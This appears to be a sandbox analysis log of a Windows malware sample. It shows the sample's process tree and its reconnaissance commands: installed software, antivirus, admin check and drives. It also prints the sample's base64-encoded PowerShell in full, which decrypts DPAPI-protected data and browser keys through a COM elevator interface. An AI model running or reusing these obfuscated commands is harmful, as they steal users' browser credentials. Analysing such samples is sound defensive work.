  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* -ErrorAction SilentlyContinue | Select-Object DisplayName | Format-Table -HideTableHeaders""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* -ErrorAction SilentlyContinue | Select-Object DisplayName | Format-Table -HideTableHeaders"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:4980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -STA -File "C:\Users\Admin\AppData\Local\Temp\vc_ss_1787453335588.ps1""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -STA -File "C:\Users\Admin\AppData\Local\Temp\vc_ss_1787453335588.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | Select-Object -ExpandProperty displayName""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | Select-Object -ExpandProperty displayName"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAGsASQA0AFgAbgB1AG4AUwBGAEUAYQBYAGoAbwBXADEARgByAE8AZQA2AEIAQQBBAEEAQQBBAGMAQQBBAEEAQQBSAHcAQgB2AEEARwA4AEEAWgB3AEIAcwBBAEcAVQBBAEkAQQBCAEQAQQBHAGcAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEEAQQBBAEIAQgBtAEEAQQBBAEEAQQBRAEEAQQBJAEEAQQBBAEEATgB4AFgANgArAGYAaABmAEoARQB2AHgAeQBBAHgAYgBmAHMAbgBpADEAVABlADYASAAyAEUASQBCAFMAMwBDAGQAagBiACsAcwA3AGkAMABsAFUAQwBBAEEAQQBBAEEAQQA2AEEAQQBBAEEAQQBBAGcAQQBBAEkAQQBBAEEAQQBPAEMAOQB5ADUAUwBzAEgANgBVAEUAeQAvAEQAKwA3AHYAVQA4AE0AVgBCAHUAVABLAE8ANQAwAEsAZwBxADMALwBtAHkAVQBJAGsAbwBHAFgAcwBzAE0AQQBBAEEAQQBMAEIANwBFAEsAZgBkAEsAeQBSAFkAcQBvAEcAZwBuAHYATABuAGkAQwBGAEEAbgBBAFAAegBJACsAagB1AHoAOQAvAE4AbAArADIAdQBFAHUARwBQAHkARgBKAGcAdQBhAHoAcQBTAEkANQBEAGcAeABaAFAAcwA3AGIAZABRAGsAQQBBAEEAQQBDAEEASABHAHYAUgBhAGgANABNAFAAZwBIAHMAWQBWAGUATABwAGYAagA4AGgATwB2AGgANgArAHQAcgBDAGEAOQBsAEoAQwA4AHAAbQB2AE0AZQAwAG4AUABXAHAAdgBKAG8AdQBBAGUAYgBQAFAAcwA2AHIAOQB3ADcAZABiAG4AbgBRAE4AdwBsAGkAbQAyAEsARgBiAHUAMwBnADAAMwBFAGIAbQBvADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcwAgAGkAbgAgAEAAKAAnAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAnACwAJwBMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAnACkAKQB7AHQAcgB5AHsAJAByAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAYgAsACQAbgB1AGwAbAAsACQAcwApADsAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewB9AH0A"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAGsASQA0AFgAbgB1AG4AUwBGAEUAYQBYAGoAbwBXADEARgByAE8AZQA2AEIAQQBBAEEAQQBBAGMAQQBBAEEAQQBSAHcAQgB2AEEARwA4AEEAWgB3AEIAcwBBAEcAVQBBAEkAQQBCAEQAQQBHAGcAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEEAQQBBAEIAQgBtAEEAQQBBAEEAQQBRAEEAQQBJAEEAQQBBAEEATgB4AFgANgArAGYAaABmAEoARQB2AHgAeQBBAHgAYgBmAHMAbgBpADEAVABlADYASAAyAEUASQBCAFMAMwBDAGQAagBiACsAcwA3AGkAMABsAFUAQwBBAEEAQQBBAEEAQQA2AEEAQQBBAEEAQQBBAGcAQQBBAEkAQQBBAEEAQQBPAEMAOQB5ADUAUwBzAEgANgBVAEUAeQAvAEQAKwA3AHYAVQA4AE0AVgBCAHUAVABLAE8ANQAwAEsAZwBxADMALwBtAHkAVQBJAGsAbwBHAFgAcwBzAE0AQQBBAEEAQQBMAEIANwBFAEsAZgBkAEsAeQBSAFkAcQBvAEcAZwBuAHYATABuAGkAQwBGAEEAbgBBAFAAegBJACsAagB1AHoAOQAvAE4AbAArADIAdQBFAHUARwBQAHkARgBKAGcAdQBhAHoAcQBTAEkANQBEAGcAeABaAFAAcwA3AGIAZABRAGsAQQBBAEEAQQBDAEEASABHAHYAUgBhAGgANABNAFAAZwBIAHMAWQBWAGUATABwAGYAagA4AGgATwB2AGgANgArAHQAcgBDAGEAOQBsAEoAQwA4AHAAbQB2AE0AZQAwAG4AUABXAHAAdgBKAG8AdQBBAGUAYgBQAFAAcwA2AHIAOQB3ADcAZABiAG4AbgBRAE4AdwBsAGkAbQAyAEsARgBiAHUAMwBnADAAMwBFAGIAbQBvADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcwAgAGkAbgAgAEAAKAAnAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAnACwAJwBMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAnACkAKQB7AHQAcgB5AHsAJAByAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAYgAsACQAbgB1AGwAbAAsACQAcwApADsAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewB9AH0A
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAGsASQA0AFgAbgB1AG4AUwBGAEUAYQBYAGoAbwBXADEARgByAE8AZQA2AEIAQQBBAEEAQQBBAGUAQQBBAEEAQQBUAFEAQgBwAEEARwBNAEEAYwBnAEIAdgBBAEgATQBBAGIAdwBCAG0AQQBIAFEAQQBJAEEAQgBGAEEARwBRAEEAWgB3AEIAbABBAEEAQQBBAEUARwBZAEEAQQBBAEEAQgBBAEEAQQBnAEEAQQBBAEEARABiADAAMwAvAHQASwBwAEsAVwBDAGQAMwB0AGsAMwBLAHgANQAyADMAWABnAGwAOABoAFQAbABPAGgAVwByADcAZgBtADgAagA0AHkAcABHADYAdwBBAEEAQQBBAEEARABvAEEAQQBBAEEAQQBDAEEAQQBBAGcAQQBBAEEAQQB6AGIANwBQAEMAbwBHADUAaABpAFEAZQBtAHEAUgBSAFcAagB6AGMAWABJAG8AZgBnAEQASQByAGQAbABiAGwAVAAxAHEAdwBYAEIALwBDADYATwBVAHcAQQBBAEEAQQBNAEIAMgBGAGsAeQAvAG0AYgBYADIAbgA3AGIARwBsAGUAWgBGAEQATgBtADgAQQBvADIAWgBtAGEASABPAEkAYgBTAE8AaQBaAEQATgA1ADYAZQBRAFEAMQBIAE4ASgBxAFEAdABoAEIAcwBLAEkAVABTAGUARgBkADYAcwBVAFEAQQBBAEEAQQBNAFAAQgBpAHUAbgB0AG4ATgBhAHQAaQBhADkAcgBtAG4AcABQAHcAWQBxAHAAZgB5AG4AZwBGAHYAawBXAC8AdwBFAGcAVwAyADUAcwBoAFMAaABxAHIARAA3AFQAcgBtAGgAUgBVAGEATgBWAHoAVwBwACsAVwByAE0ARABzAHMAZwBQADUAZwBHAFkAbwAvAEIAagBSADIASQB2AFoAUwBzADgAbABLAEEAPQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABzACAAaQBuACAAQAAoACcAQwB1AHIAcgBlAG4AdABVAHMAZQByACcALAAnAEwAbwBjAGEAbABNAGEAYwBoAGkAbgBlACcAKQApAHsAdAByAHkAewAkAHIAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABiACwAJABuAHUAbABsACwAJABzACkAOwBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AH0AfQA="
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAGsASQA0AFgAbgB1AG4AUwBGAEUAYQBYAGoAbwBXADEARgByAE8AZQA2AEIAQQBBAEEAQQBBAGUAQQBBAEEAQQBUAFEAQgBwAEEARwBNAEEAYwBnAEIAdgBBAEgATQBBAGIAdwBCAG0AQQBIAFEAQQBJAEEAQgBGAEEARwBRAEEAWgB3AEIAbABBAEEAQQBBAEUARwBZAEEAQQBBAEEAQgBBAEEAQQBnAEEAQQBBAEEARABiADAAMwAvAHQASwBwAEsAVwBDAGQAMwB0AGsAMwBLAHgANQAyADMAWABnAGwAOABoAFQAbABPAGgAVwByADcAZgBtADgAagA0AHkAcABHADYAdwBBAEEAQQBBAEEARABvAEEAQQBBAEEAQQBDAEEAQQBBAGcAQQBBAEEAQQB6AGIANwBQAEMAbwBHADUAaABpAFEAZQBtAHEAUgBSAFcAagB6AGMAWABJAG8AZgBnAEQASQByAGQAbABiAGwAVAAxAHEAdwBYAEIALwBDADYATwBVAHcAQQBBAEEAQQBNAEIAMgBGAGsAeQAvAG0AYgBYADIAbgA3AGIARwBsAGUAWgBGAEQATgBtADgAQQBvADIAWgBtAGEASABPAEkAYgBTAE8AaQBaAEQATgA1ADYAZQBRAFEAMQBIAE4ASgBxAFEAdABoAEIAcwBLAEkAVABTAGUARgBkADYAcwBVAFEAQQBBAEEAQQBNAFAAQgBpAHUAbgB0AG4ATgBhAHQAaQBhADkAcgBtAG4AcABQAHcAWQBxAHAAZgB5AG4AZwBGAHYAawBXAC8AdwBFAGcAVwAyADUAcwBoAFMAaABxAHIARAA3AFQAcgBtAGgAUgBVAGEATgBWAHoAVwBwACsAVwByAE0ARABzAHMAZwBQADUAZwBHAFkAbwAvAEIAagBSADIASQB2AFoAUwBzADgAbABLAEEAPQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABzACAAaQBuACAAQAAoACcAQwB1AHIAcgBlAG4AdABVAHMAZQByACcALAAnAEwAbwBjAGEAbABNAGEAYwBoAGkAbgBlACcAKQApAHsAdAByAHkAewAkAHIAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABiACwAJABuAHUAbABsACwAJABzACkAOwBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AH0AfQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACcACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwAKAFsAQwBvAG0ASQBtAHAAbwByAHQALAAgAEcAdQBpAGQAKAAiAEEAOQA0ADkAQwBCADQARQAtAEMANABGADkALQA0ADQAQwA0AC0AQgAyADEAMwAtADYAQgBGADgAQQBBADkAQQBDADYAOQBDACIAKQAsACAASQBuAHQAZQByAGYAYQBjAGUAVAB5AHAAZQAoAEMAbwBtAEkAbgB0AGUAcgBmAGEAYwBlAFQAeQBwAGUALgBJAG4AdABlAHIAZgBhAGMAZQBJAHMASQBVAG4AawBuAG8AdwBuACkAXQAKAHAAdQBiAGwAaQBjACAAaQBuAHQAZQByAGYAYQBjAGUAIABJAEUAbABlAHYAYQB0AG8AcgAgAHsACgAgACAAIAAgAFsAUAByAGUAcwBlAHIAdgBlAFMAaQBnAF0AIABpAG4AdAAgAFIAdQBuAFIAZQBjAG8AdgBlAHIAeQBDAFIAWABFAGwAZQB2AGEAdABlAGQAKABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAYQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4ATABQAFcAUwB0AHIAKQBdACAAcwB0AHIAaQBuAGcAIABiACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBMAFAAVwBTAHQAcgApAF0AIABzAHQAcgBpAG4AZwAgAGMALABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAZAAsAHUAaQBuAHQAIABlACwAbwB1AHQAIAB1AGwAbwBuAGcAIABmACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARQBuAGMAcgB5AHAAdABEAGEAdABhACgAaQBuAHQAIABwACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARABlAGMAcgB5AHAAdABEAGEAdABhACgAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKAH0ACgAnAEAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAkAGIAPQAnAFEAVgBCAFEAUQBnAEUAQQBBAEEARABRAGoASgAzAGYAQQBSAFgAUgBFAFkAeAA2AEEATQBCAFAAdwBwAGYAcgBBAFEAQQBBAEEATQB6AGkAbwBSAFcAKwBiAGMARgBIAHMARwBNAFEATABSAHcAcAB0AEkATQBRAEEAQQBBAEEASABBAEEAQQBBAEUAYwBBAGIAdwBCAHYAQQBHAGMAQQBiAEEAQgBsAEEAQwBBAEEAUQB3AEIAbwBBAEgASQBBAGIAdwBCAHQAQQBHAFUAQQBBAEEAQQBRAFoAZwBBAEEAQQBBAEUAQQBBAEMAQQBBAEEAQQBCAHoAQwBYAGcAcwB5AEMAdgAvAHMAawAvAFAAOQBvAFkASQBBAEQANgBHAGoAMQBSAEcAagB3AGwAVgAyADEAcgBSAEcAdgA2AGsATQA5AEkAUABNAGcAQQBBAEEAQQBBAE8AZwBBAEEAQQBBAEEASQBBAEEAQwBBAEEAQQBBAEEAVQBmAEQAbAB1ADUAWQA2AHcAYwBsAHQASQByAEIAOQBvADUATQA3AHIAcwBjAEYAawBhAGgAdwBsAHcARABiAGUAZABhAHMAZAByAEIAaABFAEMAWgBBAEIAQQBBAEMAdwBtAHoAawBoADgAUgBmAHoAWABtADIAWABrAEUAVAAxAFkAMABhAG8AUABVAHMAbwBWADIARQBrAFQAWgA5ADgARwBuADEATwBLAGoAdAA2AGMASwAwAFEAcABkAFoAOAA0AFAAYQAvAC8AcABSAGQAdABWAHoAcgBDAFgAVgBBAEgAawBuAFEAQgBRAHEAaABqAEgAVQBnAGsAZAAvAHQAbAA0AHgAbwBhADQATwBNAHgAWQAyAC8ALwBlAEcAcwAwAEEAZQBkAFgAMQBFAHMAZwBpADkAMAB1ADcASQBYAEEANgB3ADQAOABsAHIANQBsAGUASAA2AHkAQwBRAGQAbQBKADMAaQBvAE0AWQA0ADgARwBmAEQAVABMAG0ATwAzAGUANwBVAG4AegBmAE8AZwBnAHcAbQBrADMAUgBZAC8AWAAvADkAVgBYAG8AVgBCACsASQB1AFkAUABDAGIAaAA4AEkAYQBCAGQAcwB5AGgAZgBtAFgAcABjADYAVABGAC8AKwBmADYAQwBZAFkAWABhADMAZQBGAHIATAAzAEMAUgBUAGkATQBnAGgAKwBVAGgAbQBNAEYAQQBJAGcAbQByAE4ARwBKAEsATwBWAEoAUABEAFcASABYADEAZABjAEMAegBJAFEAaABtAGcANABSAEwAVwB0AE0ASwBNADYAYgBRAHAAVwA4AEsAaAByAGYAVgBxADYASgAvAGoAVwA0AGQAdwBGAHIAdABwAFEAcgBnAGIATwBiAGEAZgBwAGcAbwBZAFgANgBpAC8ANgBYAEQAMwBVAHUAZQBUAFAANAB6AE0AOABJADMASQBPAHQASQBoAHoAbAAyAGYAdAB5AHAAQwBPAHkAUAB4AEQAeABTAEgAQwBvAHEAZQBjAFUAbwBBAFcAUgA3AEkARQBzAGUAcQBWADQAZwBTAFYATgBOAGcANAA0AEUAcwBsADIAOABPAGIAZAByAFcAYQB3AHYAVgA2AFUAaABYADEAegA3AFYAdQBNAEoAVQBnAFoAVgBmAHQAdwBGAHYAagBQAFEAdAB4AG8AMwBtAHcANQBDAHEAaABTAEYAUwBUAEwAeABxAG8AKwBLAHAAYQBCADgASQBnAHgANwBVAGwATQBmADMAQgBpAEwARQBKAG4AOQB2AHMASABZAHQAUABsAFUAWQBEAFAAYwBEAHgANgAxAFUAeABzAFIAMwBsAC8AWgBCAGMANgBiAEkAdABJAFAAUABFAGMARgBUAFgAaQAxAEgAVwB2AHgAYgBXAC8AcAA3AEoAbwB6ADgASgBIAGIANQBRAGIAdwBXADcAWQB6AHIAWQBUAE8AcgB2AGcAbgBWAG8AWAB5AHAAZwBWAEwAbgB0AFYAdwB1AGcAMQA1AGsAawBiAFMAWQA0AFoAcQBXAFEAQQBBAEEAQQBGACsAaQBSADQAMQBTAGwAbABpAG4AOQB0AEIAegBzAEgARgBGADkAUABSADEAOABoAFMAaQBVADYARABtAGcAQwBlADAAcwAvAFQAMwBtADEAbAAyAHoAWQBiADEAWABnADUAYQBiAC8AYQB2AE8ARwBDADQASABoAGIATwBIAEgAQgAyAFcAawBaAG8AZgBlAFcATgBxAFkAVABqAFMAUwBPAGwAMwBHAG8APQAnAAoAJABlAG4AYwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEwAYQB0AGkAbgAxAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgApACkACgBmAG8AcgBlAGEAYwBoACgAJABjACAAaQBuACAAQAAoACcAewA3ADAAOAA4ADYAMABFADAALQBGADYANAAxAC0ANAA2ADEAMQAtADgAOAA5ADUALQA3AEQAOAA2ADcARABEADMANgA3ADUAQgB9ACcALAAnAHsARABEADIAQwBDADAANABBAC0ARAAzAEQAMwAtADQARABDAEEALQBCAEQAQgA3AC0ARQAwADcARgA0AEIAMAA1AEIANQBGADkAfQAnACwAJwB7AEQAQQA3AEYARABDAEEANQAtADIAQwBBAEEALQA0ADYAMwA3AC0AQQBBADEANwAtADAANwA0ADAANQA4ADQARABFADcARABBAH0AJwAsACcAewA3ADAANABDADIAOAA3ADIALQAyADAANAA5AC0ANAAzADUARQAtAEEANAA2ADkALQAwAEEANQAzADQAMwAxADMAQwA0ADIAQgB9ACcALAAnAHsANQA3ADYAQgAzADEAQQBGAC0ANgAzADYAOQAtADQAQwBCAEIALQBCADMANAA1AC0ANgBCADgAOABFADgAQgBBAEIAMwBDAEUAfQAnACkAKQB7AAoAIAAgACAAIAB0AHIAeQB7AAoAIAAgACAAIAAgACAAIAAgACQAZQBsAD0AWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKABbAFQAeQBwAGUAXQA6ADoARwBlAHQAVAB5AHAAZQBGAHIAbwBtAEMATABTAEkARAAoAFsARwB1AGkAZABdACQAYwAsACQAdAByAHUAZQApACkAIAAtAGEAcwAgAFsASQBFAGwAZQB2AGEAdABvAHIAXQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAhACQAZQBsACkAewBjAG8AbgB0AGkAbgB1AGUAfQAKACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAD0AWwBzAHQAcgBpAG4AZwBdADoAOgBFAG0AcAB0AHkAOwAkAGUAcgByAD0AWwB1AGkAbgB0ADMAMgBdADAACgAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAGwALgBEAGUAYwByAHkAcAB0AEQAYQB0AGEAKAAkAGUAbgBjACwAWwByAGUAZgBdACQAZABlAGMALABbAHIAZQBmAF0AJABlAHIAcgApACAALQBlAHEAIAAwACAALQBhAG4AZAAgACQAZABlAGMALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoAVwByAGkAdABlAEwAaQBuAGUAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoATABhAHQAaQBuADEALgBHAGUAdABCAHkAdABlAHMAKAAkAGQAZQBjACkAKQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAgADAACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQBjAGEAdABjAGgAewB9AAoAfQA="
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACcACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwAKAFsAQwBvAG0ASQBtAHAAbwByAHQALAAgAEcAdQBpAGQAKAAiAEEAOQA0ADkAQwBCADQARQAtAEMANABGADkALQA0ADQAQwA0AC0AQgAyADEAMwAtADYAQgBGADgAQQBBADkAQQBDADYAOQBDACIAKQAsACAASQBuAHQAZQByAGYAYQBjAGUAVAB5AHAAZQAoAEMAbwBtAEkAbgB0AGUAcgBmAGEAYwBlAFQAeQBwAGUALgBJAG4AdABlAHIAZgBhAGMAZQBJAHMASQBVAG4AawBuAG8AdwBuACkAX